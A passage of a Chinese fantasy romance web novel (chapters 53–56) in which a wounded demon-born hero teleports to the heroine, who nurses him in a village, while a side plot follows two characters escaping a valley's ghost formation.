靳江浛刚才试过了,魔力被限制,他自己是逃不出这个石洞的,岁忆谙也不一定会来救他。
他只能将希望寄托在穿梭符上。
靳江浛将符箓放在唇边,轻轻的且诚挚地吻了一下,语气恳求道:“谙,求你再救我一次。”
石洞里回荡着靳江浛充满期望的声音,他将符箓放在手心,连同符箓一起握在岁岁的剑柄上。
“带我去找岁忆谙。”
话落,符箓泛起淡金色的光芒,光芒逐渐变大,到最后甚至压过了石洞里的蓝色。
光芒熄灭,靳江浛消失在原地。
53. 重逢
夜色浓厚,显得月亮格外亮。
岁忆谙打着哈欠,看着画好的符箓满意地点点头,希望这符有用。
收起笔准备就寝时,窗外,细小的哐当声忽然响起。
岁忆谙忍不住起身去看,刚探头,对上了一双黄铜色的眼睛。
“喵~”
一只黑猫跳上窗沿,岁忆谙十分惊讶,无极宫里的猫竟然来到桃花村。
“小猫咪,你是不是跟着我过来的啊。”岁忆谙压低嗓音,但依旧能看出她很开心。
岁忆谙刚想将猫拎起来,门口又传来轻微的敲门声,她撸了一把猫脑袋,说:“等着我呀。”
岁忆谙打开门,一道熟悉的身影站在门口。
“靳江浛?”
话音刚落,靳江浛就迎面倒下。
岁忆谙急忙接住,掌心湿漉,借着月光一看,满手是血,她急忙将靳江浛拖进屋子。
为了防止床单染血,岁忆谙只好让靳江浛躺在在地上,然后拿着烛台靠近。
靳江浛的脸色就算被昏黄的烛光照耀,也能看得出苍白。
就这几下子的功夫,岁忆谙浑身都是他的血。
面对伤痕累累的靳江浛,岁忆谙有些无从下手,她并不在意靳江浛是怎么受伤的,毕竟现在也问不出来什么。
岁忆谙伸手,一把扯下靳江浛腰间被染成鲜红的缎带,将衣服一层层扒开。
靳江浛的胸膛上全是长长的伤口,几乎没一块好肉,她忍不住蹙眉。
房中都是奶奶的东西,岁忆谙只能从布袋子里拿出自己的下裙,将靳江浛流血的伤口捂住。
“靳江浛………靳江浛?”岁忆谙轻拍着靳江浛的脸,企图唤醒他。
岁忆谙手上也没有什么能止血的丹药,早知如此,当时就应该向华屿山要几瓶子了。
她只能翻找古籍,看看有没有能疗伤的符箓。
远在医毒谷的华屿山打了个喷嚏,脑中思考着谁在想他时,柳微晴突然出声。
柳微晴支起身子撑在榻上,认真地问:“你冷了?”
华屿山叹气,他翻过身子,背对着柳微晴,道:“我不冷。”
柳微晴又问:“那你为什么打喷嚏?”
“因为鼻子痒。”
柳微晴继续问:“你为什么鼻子痒?”
华屿山不耐烦地转身,对上柳微晴懵懂明亮的眼睛,他一下子泄了气。
他说:“因为你不睡觉,我很难受,你要是睡觉了,我就不难受了。”
“哦…………那我何时能见到我的爹娘?”
“睡醒再说。”华屿山仰躺在地面上。
柳微晴生气道:“你是不是根本就不打算带我去找爹娘。”
“睡醒再说。”
华屿山敷衍着,柳微晴不再说话。
昨日,华屿山带着柳微晴来到医毒谷,开始研究她为何会变成这样,直到今日才得出结论。
柳微晴只是智力倒退,成了六七岁的小孩,不过———她有了心跳。
次日一早,华屿山艰难地从梦中醒来,敲了敲睡得酸痛的腰,却发现床榻上空无一人。
“人呢?!”
院子外头,一片珍贵草药中,柳微晴蹲在里头揪着草,嘴里念叨着:“找爹娘,找爹娘。”
“柳微晴,你在干什么?!”
华屿山的惊呼声从身后传来,柳微晴站起身,将揪掉的草扔向他。
“大骗子!”
柳微晴扔完就跑,只留下坏了的草药和崩溃哀嚎的华屿山。
“我的百年蛇草!”
自从柳微晴进入医毒谷后,就一直嚷嚷着爹娘,华屿山也敷衍着她。
柳微晴倒是想清楚了,华屿山指定是在骗自己,她还是自己去寻找爹娘吧。
在医毒谷晃悠半天,柳微晴并未找到能离谷的出口,倒是意外闯入进了谷中山林,山林里雾气极重。
柳微晴看不清眼前的路,一直在林中打转。
就在林中徘徊了快半个时辰时,柳微晴感受到了一股熟悉的气息,她顺着气息的方向走去。
只见白茫茫的雾气中出现成片成片的黑色,一棵古老的树干映入眼帘。
抬头看去,上方被白雾笼罩,柳微晴看不出树有多高,她只觉得这棵树和她一样。
“你是谁?”
一道沧桑且缓慢的声音响起,柳微晴左右摆头,看了眼雾气弥漫的四周,最后看向大树。
“是你在说话吗?”
“是我在说话,所以……你是谁?”大树问。
柳微晴沉默片刻,爹娘说过,出门在外,不能跟陌生人说话,但爹娘也说过,人要懂礼。
要是不回答的话,她会不会被大树认为自己无礼?
柳微晴稍加思索,仰头说:“我叫柳微晴,是人,你呢?”
她说了句假话,应该没关系吧。
“你是魔族。”大树说。
大树说得笃定,柳微晴愣住,眼底闪过一丝慌乱,她结巴道:“你……你看得出我是魔?”
“我也是魔。”大树又说。
一听大树说它是魔,柳微晴对它的戒备急速降低,她幸喜地说:“那我们就是家人咯!”
“我不是你的家人,我没有家人。”大树的声音里透露着些许悲伤,但柳微晴并没有听出来。
“没关系的呀,我也没有,不过我在找呀。”
柳微晴仰着头,后脖子累,她干脆就地躺下,试图透过白雾,看清大树的枝叶。
“我的家人都死了,我找不到了。”
家人都死了…………
刹那间,气氛沉重下来,柳微晴沉默,些许片段在她脑中一闪而过。
“死了……都死了………”柳微晴呐呐自语,她闭上眼。
山林中的雾气依旧浓烈,可掩盖住柳微晴记忆前的雾气终于散开。
柳微晴重新睁开眼,一颗泪珠悄无声息地滑落进发鬓之中,微红的双眼失去稚气。
“原来我的爹娘也死了。”柳微晴语气淡淡,她站起身来,拍了拍沾上野草的裙摆。
而面前的这棵树是魔族特有的树,唯一的用处就是清除雾霾,只不过这广阔的谷中山林里只有这一棵,有也似无。
柳微晴上前一步,伸出手掌放在粗糙的树干上,说:“我带你离开这里吧。”
“魔族已灭,空荡荡的魔境和这儿并没有什么两样。”
柳微晴勾唇一笑:“不,魔境会有新魔主的。”
“柳微晴,你在哪儿!”
远处传来华屿山焦急的声音。
“柳微晴?”
柳微晴刚将掉落在地上的枯木枝拾起,声音就已经到了身后,她转身。
华屿山只瞧见了柳微晴手
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里拿着枯枝,而她身后空无一物。
“你怎么跑到这儿来了?这里很危险,我们快出去。”
华屿山并未发现柳微晴的异样,他拉着人就走。
柳微晴又恢复到智力七八岁的模样,她挣脱开华屿山的手,大喊道:“大骗子,放开我,我要找爹娘!”
“跟我回去,回去就找你爹娘。”华屿山急道。
山谷中雾气甚重,要是迷了路,起码要在林子里绕上几个时辰。
趁华屿山现在还记得来时路,他得赶快带柳微晴出去才行。
“我不要。”
柳微晴转身就跑,她看不清远处的方向,便举起手中的枯枝。
大树在这里呆了这么久,肯定知晓路线。
柳微晴小声问:“大树,哪里能出去?”
大树道:“医毒谷的出入口被设下了魂阵,你出不去的。”
“这你不用管,告诉我哪个方向能出去。”
大树无奈,他只能为柳微晴指路。
柳微晴径直往医毒谷的出口奔去,华屿山在后面追着:“别去,那里危险。”
话落,柳微晴已经消失在眼前,华屿山纠结了一秒,抬脚进入魂阵。
魂阵内一片混沌,看不清虚实真假。
前方,柳微晴正拿着枯枝晃悠,华屿山走上前拉住她,刚要开口,阵内响起了几道空灵,雌雄莫辨的声音。
“终于有人来了。”
话落,四面八方走来了许多透明身影,华屿山警惕地将柳微晴护在身后。
“他们是谁?”柳微晴不解地问。
“医毒谷以前死去的医师。”华屿山道。
这医毒谷对外人来说,进也难,出也难,出入口被设下了魂阵。
阵中有成百上千的魂都是医毒谷死去的医师,想要毫发无伤地离开法阵,就只能让谷主亲手关闭。
自从医毒谷决定避世后,魂阵就从未关闭过。
直到那次,岁忆谙突然昏迷,靳江浛为了救她强闯魂阵。
强闯魂阵的人少之又少,医师的魂魄在阵中呆了上百年,过得十分无趣,见有人敢闯,便起了戏弄的心思。
他们想着戏弄完了靳江浛,再将人杀死。
靳江浛可不是愿意让人戏弄的主,他提着剑就想杀光千魂破阵。
虽说他有魔力傍身,可这上千的魂魄也不是那么好杀的。
直到谷主出手制止,这场斗争才停下,最后落了个两败俱伤的局面。
魂阵中一半的魂魄都被靳江浛打得魂飞魄散,而他也被打掉了半条命。
不过在华屿山的几颗丹药下,靳江浛倒是能顺利回到客栈。
躲在后面的柳微晴眸光幽深,没有鬼石魔力,她独自一人肯定离不开医毒谷。
还未等她思索完毕,就听见华屿山说:“诸位前辈,晚生是医毒谷华屿山,还请前辈高抬贵手,放我们一马。”
乌泱泱的魂魄中传来一句:“谁管你是谁?进了这个阵就别想出去。”
此话一出,魂魄纷纷涌了上来,华屿山一手化出折扇,一手拉着柳微晴转身就跑。
这些魂魄有的是华屿山的前辈,有的是他从前的好友。
华屿山并不想伤害他们,他只能挥扇,将魂魄掀飞。
柳微晴躲避着魂魄的攻击,她着急忙慌问:“我们该怎么离开这里?!”
54. 赤身裸体
华屿山道:“要么等谷主来关闭阵法,要么杀光这里的鬼魂。”
“没有其他的法子吗?”
“有,去到阵法的另一边,另一边就是出口,不过越往出口走,医师越多,死的概率也越大。”
“谷主什么时候能到?”
华屿山听后,无奈地笑了:“真是不巧了,谷主这几日都在炼丹,没空管我们。”
柳微晴有些无语,她一时失神,差点被一个魂魄划伤手臂,还好只是衣袖破了个口子。
见前面的华屿山依旧没有下死手,柳微晴忍不住以枯枝为剑,一剑挥出,魔力倾泻而出,一片魂魄惨叫出声。
柳微晴瞬间愕然,枯枝的威力比她想象中的要大,不知这威力是大树的,还是她自己的。
华屿山听到惨叫,回头看了眼柳微晴,因奔跑而红润的面色,神情冷峻,稚气消失得无影无踪。
他问:“你恢复了?”
“恢复了。”
柳微晴刚说完,手上的枯枝说话了。
“孩子,往你的右边跑,一直跑。”
柳微晴百分百相信大树的话,她反过来握住华屿山的手,将他连拖带拽地往右边跑。
“跑这边。”
华屿山顺从地跟着她。
似乎是要到出口了,魂魄越来越多,两人的手握得很紧,即使面对着汹涌的人潮都未曾分开。
一旦分开,出去可就难了。
两人狂奔着,柳微晴手中的枯枝发出耀眼的墨绿色光芒,它将魂魄驱散。
在华屿山眼中,拉着他的柳微晴浑身发光,而他心跳加速,兴许是因为跑久了,又兴许是因为她。
两人安然无恙地跑出魂阵,出现在医毒谷外,而柳微晴手中的枯枝化成粉末,风一吹,就飘散在空中。
柳微晴知晓,她带不了大树回家了。
柳微晴刚想走,身子被拉扯住,垂头一看,她还拉着华屿山的手。
华屿山察觉到后急忙松开。
柳微晴瞥了他一眼,道:“我先走了,后会无期。”
华屿山原以为柳微晴会说些什么,没想到她直接扭头就走,他急忙跟上去。
跟着走了二里路,柳微晴忍不住侧目看他。
华屿山忽略掉柳微晴眼中的不满,他甩开折扇,道:“出来的机会难得,我不得好好玩儿一番在回去。”
柳微晴回头继续走着。
“你要去哪儿?”华屿山说。
“回家。”
“家…………”
华屿山不说话,气氛沉默许久,他才道。
“说到家,医毒谷就是我的家,我是被谷主捡回去的,其实医毒谷中的所有医师都是谷主捡回去的。”
华屿山陷入回忆当中。
“谷主说我们被爹娘抛弃,他见我们可怜,便捡回来教我们医术。”
柳微晴眸光闪动,眼中透露着几分好奇,她问:“你不想找自己的爹娘吗?”
华屿山仔细思考,答:“我对爹娘的执念不深,没有就没有,或许是因为我这辈子就没见到过几个人有爹娘。”
医毒谷里就没几个医师有爹娘,也没几个会谈爹娘,在这种环境的熏陶下,华屿山也没想过爹娘了。
华屿山又道:“你的家不会在魔境吧?”
“我是魔,自然是要回魔境的。”
柳微晴并未正面回答,她的爹娘早就死了,魔族被灭,魔境荒芜,看来她只能去找岁忆谙了。
岁忆谙会在哪儿?
柳微晴是吸收了靳江浛的魔力才幻化成人的,她可以感应到靳江浛魔力,也就是说可以知晓靳江浛在何处。
“可…………算了,我的下一个目的地就是魔境,我和你一起吧。”
两人并列走向远方。
远方的山连绵起伏,照下的阳光逐渐失去春意,紧接而来的是隐隐约约的热气。
桃花依旧艳丽,点点花瓣随风飘进屋内。
岁忆谙一觉睡到日上三竿,昨夜她只画了一张用于疗伤的符箓,给靳江浛贴上后,血就止住了。
本想将人搬到床上,可他身上的衣裳血迹还未干透,想清理一盆水又不够。
院子里有口井,岁忆谙以为奶奶一大把年纪,耳朵应该不会太好,她刚拿着柄抬起来,就听见了刺耳的摩擦声。
房里睡觉的奶奶一下子就被惊醒了,岁忆谙胡乱找了个借口糊弄过去。
水是不能打了,岁忆谙将靳江浛的衣服全部扒光,从布袋子里随便取了布料给他盖上。
忙完一切,岁忆谙倒头就睡。
此时此刻,靳江浛躺在地上,他醒得比岁忆谙早,睁开眼,动了动僵硬的手臂,然后撑着身子坐起来。
盖在身上的布料滑落,靳江浛这才发现自己赤身裸体,伤口也已经愈合了,胸膛上还贴着张符箓。
仔细一看,那布料是一条熟悉的下裙,看这花纹样式,像是岁忆谙的…………
一旁的床榻上传来动静,靳江浛看去,正好看见翻身的岁忆谙,她睡得香甜,手臂耷拉在床沿。
靳江浛愣愣地看了眼她,又看了眼自己毫无遮拦的躯体,双颊刷一下就红了,连带着脖颈和耳朵。
“谙…………”
靳江浛慌乱地拉过裙摆捂住脸,重新躺下平复心情。
就在这时,岁忆谙醒了,她迷迷糊糊地睁开眼,就看见靳江浛蒙着脸。
岁忆谙问:“靳江浛,你醒了?”
心跳还未恢复平静,含糊的声音传入耳畔。
靳江浛呼吸一窒,缓缓拉下裙摆,眼神闪躲,娇羞地问:“谙……我的衣服呢?”
听靳江浛这么一说,岁忆谙这才想起自己把他衣服扒了。
看着他红透的脸,岁忆谙浅棕色的眼瞳转了转,心底顿时升起了戏弄靳江浛的心思。
岁忆谙撑起身子,左右扫视了他一眼,饶有兴致道:“全是血,我都扔了,我还是喜欢你不穿衣服的样子。”
“谙,你你你…………”
靳江浛显然被岁忆谙大胆的话震惊到了,你半天都你不出来。
岁忆谙还是第一次见靳江浛这副样子,她低低笑着,然后起身。
“看都看过了,有什么好害羞的。”岁忆谙的语气极其无辜,说罢,她站起身朝外走去。
“等着吧,我出去买。”
岁忆谙跟奶奶说明了一下情况,然后出门去街上随便买了两身。
“新买的,赶紧换上。”
一直到岁忆谙拿着衣裳丢在自己身上,靳江浛才缓过神来,他叹气。
岁忆谙怕是只有调戏他的心思而已。
不过,起码愿意调戏他了。
靳江浛小心翼翼地扯下符箓,将其收好,老老实实地换上衣裳。
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换完后,他还在床尾的木盆里看到了充满血腥味的脏衣服。
靳江浛拿着木盆推开门,一眼就看见了站在院中,拿着岁岁劈柴的岁忆谙。
这一幕似乎回到了百年前。
他有一瞬愣神。
身侧传来年迈的声音。
“岁丫头,这就是你朋友呀。”
两人同时扭头,靳江浛看见了一个穿着素色衣裳的老奶奶。
“对呀,实在是不好意思,没经过您的同意我就把他带进来了。”岁忆谙万分歉意地说。
靳江浛听后,平静如水的眼中起了波澜,他以为岁忆谙会说自己是擅自进来的。
奶奶笑道:“没多大事儿,这家太冷清了,多个人热闹热闹也好。”
“来,衣裳给我吧,我去洗干净。”
奶奶想要拿过靳江浛手中的木盆,靳江浛将木盆移到身后,道:“多谢奶奶了,衣服太糙,我自己来吧。”
岁忆谙放下岁岁就走过来,她难为情地说:“奶奶,其实………我们今天就要离开这里了。”
“不多留会儿吗?”奶奶的神色一下子就变得落寞起来,眼中满是不舍。
她无子无女,老伴也死了,虽说后半生有花不完的钱财,但她还是倍感孤独。
靳江浛抢先开口:“留的留的,奶奶您等一下。”
靳江浛拉着岁忆谙离奶奶远了些。
“干嘛。”岁忆谙疑惑。
靳江浛简单明了地将事情说了一遍。
凌仙宗的净惜长老是魔族公主穆净,那些傀儡就是她派来的,其余长老凶多吉少,现在凌仙宗八成被穆净控制着。
“那我们岂不是不能去凌仙宗了,去了就是自投罗网。”岁忆谙皱眉,思考接下来该怎么办。
当务之急还是得找到白英空才行,毕竟她得跟着白英空。
靳江浛垂眸看她,察觉她还没放弃前往凌仙宗的想法,便计上心头。
“咳咳咳!咳咳咳!”
突如其来的咳嗽声打断了岁忆谙的思考,她看向捂着嘴剧烈咳嗽的靳江浛。
“你没……”
话还没问出口,岁忆谙就看见靳江浛的指缝中有红色渗出,她急忙掏出帕子捂上去。
靳江浛看向岁忆谙的眼神分外深沉,用染血的手扣上了她的手,连带着她的手也染上红色。
“小伙子没事吧?”奶奶见状,便抬脚想朝两人走来。
岁忆谙急忙道:“没事奶奶,他只是被自己的口水呛到了。”
“奶奶,我们先不走了,接下来的这段日子就麻烦您了。”
见靳江浛咳得厉害,岁忆谙便决定先养好他的伤再走。
奶奶一听,喜上眉梢,跺着脚拍手叫好:“不走好啊,不走好啊,我去做饭。”
靳江浛一直咳着,似是要把肺给咳出来一样。
“咳咳咳———”
靳江浛松开岁忆谙的手,整个身子瘫软在她身上,用另一只干净的手臂,紧紧地环绕住她的腰身。
岁忆谙有些慌张,她急忙把靳江浛扶进屋,让他坐在椅凳上。
“等你伤养好了再走吧。”岁忆谙无奈道。
“喝水漱口。”
岁忆谙倒了杯水让他漱口,血水尽数吐进了木盆里。
“好点了没有?”岁忆谙拿着帕子擦掉靳江浛嘴边的血迹。
“嗯。”
55. 抱
岁忆谙端着木盆来到院外,将木盆里的衣裳倒到空旷的地方,然后拿出火符烧掉。
那根橘色腰带被火焰吞噬,良久,留下满地灰烬,岁忆谙抬脚扫起地上的尘土,将灰烬盖住。
而靳江浛正乖巧地坐在桌前,他低头摸着自己身上的衣裳,这是岁忆谙买给他的,他一定要好好珍惜。
听见脚步声后,靳江浛弯起的唇角压了下去,再抬起头,脸上又变成了楚楚可怜的模样。
“谙…………”
“嗯?”
走进来的岁忆谙疑惑地嗯了一声。
靳江浛垂眸扣着手指,犹豫半天才开口说:“谙,我好想你。”
“我们才分开三四天而已。”岁忆谙无奈,仅仅只分离了几天,她就感觉靳江浛变得更娇弱了。
“可我就是好想你,我想抱抱你。”
说完后,靳江浛才鼓起勇气抬起头,还好,他没有在岁忆谙的脸上看见不耐烦。
岁忆谙刚想说抱个毛线的,但看到靳江浛湿润的眼睛,她的心一下子就软了。
抱一下也没多大关系吧?
岁忆谙这般想着。
踌躇间,靳江浛已经站起身来,他小心翼翼地上前两步,眼睛一眨不眨,不肯放过岁忆谙脸上的任何神色。
他用颤抖的手臂将岁忆谙拥在怀中。
岁忆谙愣神片刻,她忽然发现自己并不排斥靳江浛的靠近。
两人微弱的呼吸声重叠,一种微妙的气氛在他们之间萦绕。
感受到怀中的温暖,靳江浛心中得到了极大的满足,他低头,炙热的呼吸喷洒在岁忆谙的颈窝。
靳江浛努力平复着失而复得后的激动。
岁忆谙只觉得脖子痒痒的,她控制不住地缩了一下。
靳江浛察觉到了岁忆谙的举动,有些伤心,但很多的是害怕,他将手臂收得更紧了。
靳江浛的手臂很有劲,腰间的禁锢让岁忆谙有些难受,她抬起一条手臂,第一反应竟不是推开,而是安抚性地拍了拍靳江浛的背。
柔软的手在背部滑动,还被轻拍了两下,靳江浛心中的害怕消失得无影无踪。
紧接着,靳江浛讨好似地用鼻尖蹭了蹭岁忆谙颈窝处的肌肤,像只受伤的小兽,见怀中人不再退缩,他勾起一个得逞的微笑。
岁忆谙的心扑通扑通地跳着,鼻尖都是靳江浛身上的桃花香,有些腻,有些冲。
感觉自己身上也要被桃花熏入味儿了。
脑中突然想起昨夜,她扒光了靳江浛的衣裳,用湿帕子擦掉他身上的血。
虽然伤痕累累,但依稀可见他的身材。
没脱衣服前,岁忆谙以为靳江浛身材一般,但脱了衣服后,她才发现靳江浛是穿衣显瘦,脱衣有肉的身材。
粗壮的臂膀,紧实的肌肉,擦拭时,血水顺着腹肌流下,诡异又充满诱惑。
岁忆谙很实在,她上手摸了又摸,摸够后才继续擦。
想到这儿,岁忆谙脸颊发烫,耳根子微微泛红,她的反应被靳江浛发现了。
靳江浛先是一愣,然后低声笑了起来。
岁忆谙一头雾水,还未想清楚靳江浛笑什么,耳垂被人捏了捏,一阵酥麻。
“你耳朵红了,害羞了吗?”
靳江浛调笑道,手上动作不停,整个手掌都贴上岁忆谙的侧脸,指尖暧昧地蹭着她红得要滴血的耳垂,以及她的颈部。
岁忆谙只觉得靳江浛的手比她的脸还要烫,她推开靳江浛,扭头移开视线,扯开话题问:“你怎么会受那么重的伤?”
靳江浛听后,再次抱了上去,撒娇道:“被放血了,我好疼~”
“血一点点流出,要不是你的穿梭符,我就要变成干尸了。”
在寂静的石洞里,靳江浛甚至能听见血流的哗哗声,还有砸落在地上的声音。
“这么说,是我救的你。”岁忆谙也没想到那日靳江浛抢的穿梭符会派上用场。
“对,你救了我。”
靳江浛埋头,声音闷闷的。
“你又救了我………”
两人依偎着,直到脚下传来猫叫声。
“喵~”
岁忆谙再次推开靳江浛,顺着声音向下看去,惊讶道:“小猫咪,你来啦。”
黑猫正端坐在地上,岁忆谙蹲下身,摸着它的脑袋。
靳江浛神情冷漠,眼神不悦地看着打搅自己好事的黑猫,语气不满:“哪儿来的野猫?”
“无极宫跟过来的。”
见岁忆谙爱不释手,靳江浛醋上心头,问:“你很喜欢?”
岁忆谙毫不犹豫道:“喜欢啊,它多可爱。”
“可是它好脏。”靳江浛加重了说话力度,万分厌恶。
“洗洗就好了嘛。”
岁忆谙才在乎这只猫脏不脏,既然能从无极宫跟过来,那它肯定不是只普通的黑猫。
靳江浛恶狠狠地剜了黑猫一眼,黑猫察觉到他的目光,身子抖了一下。
“奶奶应该把饭做好了,我们不要让奶奶等久了。”靳江浛将岁忆谙拉起来。
“那好吧,小猫咪,我先去吃饭啦。”
靳江浛拉着岁忆谙往门口走,离开屋子前,还回头用口型对黑猫说了个字。
“滚。”
黑猫见状,刷的一下窜出窗外。
靳江浛给岁忆谙舀了水洗手,还反复搓洗了好几遍。
和奶奶吃完饭后,靳江浛去洗了碗,而岁忆谙绕着屋子一圈,试图找到黑猫,可惜一根猫毛都没看见。
靳江浛洗碗完后,就在院中劈柴。
岁忆谙和奶奶坐在院子聊天。
岁忆谙也得知了奶奶前些年的事,奶奶姓楚,叫楚琉璃,是土生土长的桃花村人。
楚琉璃的女红极好,每次都会拿着绣好的手帕香囊进城去卖。
某天,楚琉璃在卖刺绣时,街头布商的儿子找上了她。
男子叫刘辞,说是要学习刺绣,然后亲手绣一个香囊给他的心上人。
刘辞说,他会交钱学习。
楚琉璃同意了,只有傻子才白交。
之后,每次刘辞来找她学习,都会带好吃的点心给她,还很贴心。
刘辞举止温和有礼,与他聊天又不会尴尬。
楚琉璃羡慕过他的心上人,不过赚钱更重要。
刘辞学了将近三个月的刺绣,绣的也还能入眼。
而且楚琉璃赚的钱,都够她再生活一辈子了。
于是,楚琉璃决定不再卖刺绣,跟刘辞说他能出师后,就回到了桃花村。
只不过隔天,刘辞就找上门来,他拉着楚琉璃来到一颗桃花树下,扭捏地将一个香囊拿了出来。
“琉……琉璃,你可愿……可愿收下这个香囊?”<
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p>大白天的,楚琉璃将刘辞的脸看得清清楚楚,刘辞的脸红得不像话。
楚琉璃有些懵:“你什么意思?我不太懂。”
“我……”
刘辞鼓起勇气说:“我心悦你。”
原来,自从楚琉璃出来卖刺绣后,刘辞就喜欢上了她。
只不过他不敢正大光明上去表白,而是以学刺绣的名义和楚琉璃接触。
楚琉璃看着刘辞手中的刺绣,在寻常人眼中,这个香囊绣得很难看。
但相反,在楚琉璃眼中,这个香囊竟绣得格外好,或许不是香囊绣得好,而是她看到了刘辞的好。
她和刘辞成婚了,婚后的生活十分幸福。
刘辞特意向村长买下了两人定情时的那棵桃花树。
两人都不想让外人打破独属于两人的幸福,所以没要孩子。
直到前两年,九十岁的刘辞寿终正寝,先一步离开了楚琉璃,他被葬在了那棵桃花树下。
楚琉璃失去了属于她与刘辞的家,便从城里搬回了桃花村。
“岁丫头你呢?你可有爱的人?或者可有能当家人的爱人?”奶奶好奇地问。
正在劈柴的靳江浛一下子就竖起了耳朵。
岁忆谙沉默一瞬,缓缓开口:“我的家人就是我爱的人。”
即使她的家是福利院,即使她的妈妈是院长妈妈,即使她早就不记得亲生父母的样子。
睡前,烧水的重任就交给了靳江浛,他守在灶前,望着徐徐燃烧的火柴,回想着岁忆谙提到家的落寞样子。
看起来,家对岁忆谙来说很重要。
可靳江浛理解这种重要,他的爹娘只是魔族里最普通的一对夫妻而已。
为何爹娘要被那个所谓的书写者写死?
又为何要让他独自一人活着?
倘若可以,他会杀了书写者。
不过现在他的人生有了别的希望,他有岁忆谙………穿越时空来到他身边的岁忆谙。
“谙,水烧好了,我出去一趟,洗完后水放着我回来倒掉就好。”靳江浛将水倒好后,急匆匆地说完话就出去了。
岁忆谙没理会他去哪儿,脱光衣裳后泡在温热的水中。
岁忆谙已经沐浴完毕,柴房中浴桶里的水已经凉透了。
靳江浛给自己烧水沐浴,楚奶奶的家没有多的房间,他只能在柴房打地铺。
可他就算要睡地上,也得睡在岁忆谙屋里的地上。
叩叩叩————
坐在桌前画符的岁忆谙听见敲门声后,便起身打开了门。
不出意外,门外站着靳江浛,只不过他怀中抱着枕头和被子。
“柴房太冷了,我可以睡地上。”说罢,靳江浛还咳嗽两声,表示伤还没好。
岁忆谙无奈,后退让他进来。
靳江浛欢欢喜喜地进了屋,顺带用脚关上了门。
“我还要画符,你安静点。”岁忆谙叮嘱道。
靳江浛乖乖点头,然后往地上铺垫子。
岁忆谙披上了一件外衫,继续坐在桌前画符。
靳江浛来这里就不是为了睡觉,他搬了把椅子,坐在岁忆谙身侧,目不转睛地盯着她。
岁忆谙忽视不掉这炙热的目光,在接连画错三四笔后,她抬头。
“你能不能别看我?”
“不能,我做不到。”靳江浛直视她。
56. 咬
靳江浛否决得很直接,这倒是让岁忆谙错愕,她索性收起笔不画了。
“睡觉吧。”
靳江浛再度点头,他站起身,将椅子挪开。
岁忆谙正收拾着东西,身后传来悉悉索索的声音,不知晓靳江浛又在搞什么东西。
收完扭头一看,靳江浛正在解他的外衫,解开后,又伸手扯开里衣的系带,看样子是要脱光。
岁忆谙吓道:“你脱衣服干什么?!”
“你不是喜欢我不穿衣服的样子吗?”
靳江浛一把脱下自己的里衣,露出精壮的腰身。
岁忆谙急忙道:“我口嗨而已,你赶紧穿上。”
岁忆谙被这一幕整得有些慌乱,她下意识侧头,主要是怕靳江浛接触到她的目光后,会做出什么越界的举动来。
靳江浛并未理会,而是继续靠近岁忆谙,将她抵在桌前,外衫悄然滑落在桌上。
“谙,你看看我。”靳江浛说着哀求的话语,灼热的气息尽数喷洒在岁忆谙的脸上。
靳江浛眼神拉丝,伸手抚摸上岁忆谙白里透红的小脸,将她的脸轻轻掰过来。
两人凑得极近,鼻尖抵着鼻尖,呼吸交织,肌肤只隔着岁忆谙薄薄的里衣相贴着,气氛暧昧。
两人都能感受到对方的体温。
视线下移,岁忆谙的红唇水润润的,他甚至还能闻到唇脂的味道,就像是香甜的蜂蜜。
靳江浛想吻下去,刚弯下身子,腹部被人触碰,他绷紧肌肉,呼吸也加重了几分。
岁忆谙手掌向下滑动,滑过一块块腹肌。
硬硬的,滑滑的,触感很好。
岁忆谙一边摸,还一边戏谑看着靳江浛的表情。
只见他眼尾微微泛红,眸中盈盈水光,一副被欺负狠了的模样。
靳江浛刚想有下一个动作,却发现自己动不了了,他疑惑:“谙?”
岁忆谙从靳江浛怀中退出,他的腹肌上正贴着一张明晃晃的黄色定身符。
荡漾的气氛消失得无影无踪,靳江浛被推倒在地上的软被中,岁忆谙好心地给他盖了层被子。
“我要睡了,你也乖乖睡吧。”岁忆谙拍了拍靳江浛的脸,转身上床。
靳江浛有些无语,只不过他还在回味刚才岁忆谙摸他时给他带来的爽感。
“对了靳江浛,白英空呢?你可知他现在身在何处?”岁忆谙冷不丁地来上一句。
靳江浛垮着脸,本不想回,但嘴比脑子快。
“死不了。”
岁忆谙又问:“那你有在月蛇妖洲看见黎绕月吗?”
“没有。”靳江浛冷冷地说。
现在的屋子里只有岁忆谙和自己两个人,她怎么还能想着别人?
靳江浛越想越生气,就在这时,他发现自己能动了。
靳江浛一把撕下定身符,从被褥中坐直身子。
看向床榻,岁忆谙正翘着二郎腿躺在床上,那姿势要有多潇洒就有多潇洒。
岁忆谙想着自己该如何寻找白英空,倘若白英空寻不到,那她不就得去找黎绕月。
可是穆净就在月蛇妖洲,靳江浛肯定会跟她去月蛇妖洲的,这该怎么办?
不知不觉间,岁忆谙竟担心起了靳江浛的安危。
要是放在以前,她定会即刻前往月蛇妖洲寻找黎绕月的。
岁忆谙不知自己是怎么了,她长长地叹出一口气,侧身想吹灭床头柜上的烛火睡觉时,被定住的靳江浛忽然凑到她面前。
“你干嘛?”岁忆谙被吓了一跳。
靳江浛坐在地上,手撑着床沿,哀怨地看着她小声嘟囔:“我生气了。”
岁忆谙听得一清二楚,她有些好笑地翻身趴在床上,双手托腮,歪着脑袋问:“气什么?气我问白英空和黎绕月,还是气我没想着你?”
不知为何,岁忆谙就是想逗逗他。
靳江浛看着岁忆谙明知还故问的模样,气不打一处来。
在烛光的照耀下,岁忆谙眉眼弯弯,盛满笑意,他甚至能看清棕色眼瞳中倒映的自己。
靳江浛一手攥住岁忆谙的手腕,一手扣住她的后脑,侵身上前,张口咬在她的脖颈上。
“嘶!”
脖颈处的皮肤传来刺痛,岁忆谙吃痛一声,用力推开靳江浛,捂着被咬处坐起身。
岁忆谙居高临下地看他,骂道:“你属狗啊!”
靳江浛认真道:“你只需要记住我一个人就好。”
说罢,他吹灭烛火,屋内陷入一片黑暗。
岁忆谙的眼睛还未适应漆黑,只听见不太结实的木床响起吱呀声,身侧的床榻一沉。
她下意识伸手摸去,摸到了靳江浛的臂膀。
意识到靳江浛躺上床后,岁忆谙质问:“靳江浛,你躺这儿干什么?”
“我要和你睡。”靳江浛道。
黑暗中,岁忆谙看不清身侧人的面容还有表情,她气愤地推搡靳江浛,道:“生煎包吧你,滚下去!”
就这一张小床,还这么挤,两个人怎么睡?
“你想吃生煎包了?我明天去上街看看有没有卖。”靳江浛说罢,随手将扯下来的定身符沾到岁忆谙身上。
岁忆谙一下子就动弹不得,她威胁出声:“靳江浛,你赶紧给我撕掉,不然我要你好看。”
